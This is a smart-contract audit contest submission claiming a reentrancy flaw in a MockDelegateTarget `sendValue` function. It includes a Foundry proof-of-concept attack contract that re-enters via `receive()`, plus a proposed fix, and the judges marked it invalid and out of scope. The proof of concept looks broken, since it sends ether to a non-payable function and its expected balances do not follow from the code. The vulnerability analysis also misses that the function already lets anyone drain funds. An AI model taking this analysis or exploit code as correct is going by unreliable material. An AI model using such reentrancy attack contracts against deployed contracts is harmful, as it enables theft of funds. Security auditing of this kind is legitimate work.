HardhatFoundry
30,000 USDC
View results
Submission Details
Severity: high
Invalid

Potential reentrancy attacks in `sendValue` function and lacks adequate error handling can lead to financial loss

Summary

The sendValue function in the MockDelegateTarget contract is vulnerable to reentrancy attacks and lacks proper error handling.

This vulnerability occurs when an external contract, called by the sendValue function, makes a recursive call back into the sendValue function before the initial execution completes. This can lead to unintended behaviors, such as the depletion of the contract's funds.

The function uses a low-level call to transfer ether to the target address without implementing any reentrancy protection mechanisms.

If the target address is a contract with a fallback function, it can invoke the sendValue function (or another function within the same contract) before the initial call concludes.

Vulnerability Details

contract MockDelegateTarget {
function sendValue(address target, uint256 _value) public {
target.call{ value: _value }("");
}
}
  • The function uses call to send ether to the target address without any form of reentrancy protection. If the target address is a contract with a fallback function, it can call back into the sendValue function (or another function in the same contract) before the initial call completes.

  • The call function returns a boolean value indicating whether the call was successful. However, the current implementation does not check this return value. This means the contract has no way of knowing if the ether transfer failed.

Test for 'sendValue' function

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
import "forge-std/Test.sol";
import "../src/MockDelegateTarget.sol";
contract ReentrancyAttack {
MockDelegateTarget public target;
bool public attackInitiated;
constructor(MockDelegateTarget _target) {
target = _target;
}
receive() external payable {
if (!attackInitiated) {
attackInitiated = true;
target.sendValue{value: 1 ether}(address(this));
}
}
function attack() external payable {
target.sendValue{value: 1 ether}(address(this));
}
}
contract MockDelegateTargetTest is Test {
MockDelegateTarget target;
ReentrancyAttack attacker;
function setUp() public {
target = new MockDelegateTarget();
attacker = new ReentrancyAttack(target);
}
function testReentrancyAttack() public {
vm.deal(address(target), 10 ether);
vm.deal(address(attacker), 1 ether);
attacker.attack{value: 1 ether}();
assertEq(address(target).balance, 9 ether);
assertEq(address(attacker).balance, 2 ether);
}
}

Impact

The function uses a low-level call to transfer ether to the target address without implementing any reentrancy protection mechanisms.

If the target address is a contract with a fallback function, it can invoke the sendValue function (or another function within the same contract) before the initial call concludes. This can lead to unintended behaviors, such as the depletion of the contract's funds.

Tools Used

Manual Review

Recommendations

We need to ensure all checks (e.g., balance verification) and state changes (e.g., updating balances) are performed before interacting with external contracts.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
contract MockDelegateTarget {
mapping(address => uint256) private balances;
// Deposits Ether into the contract
function deposit() public payable {
balances[msg.sender] += msg.value;
}
// Transfers value to a specified target address
function sendValue(address target, uint256 _value) public {
// Checks
require(balances[msg.sender] >= _value, "Insufficient balance");
require(target != address(0), "Invalid target address");
// Effects
balances[msg.sender] -= _value;
// Interactions
(bool success, ) = target.call{ value: _value }("");
require(success, "Transfer failed");
}
// Returns the balance of a specified address
function balanceOf(address account) public view returns (uint256) {
return balances[account];
}
}

This code adheres to best practices by completing all necessary checks and state changes before any external contract interactions occur.

Updates

Lead Judging Commences

0xnevi Lead Judge
12 months ago
0xnevi Lead Judge 11 months ago
Submission Judgement Published
Invalidated
Reason: Out of scope

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.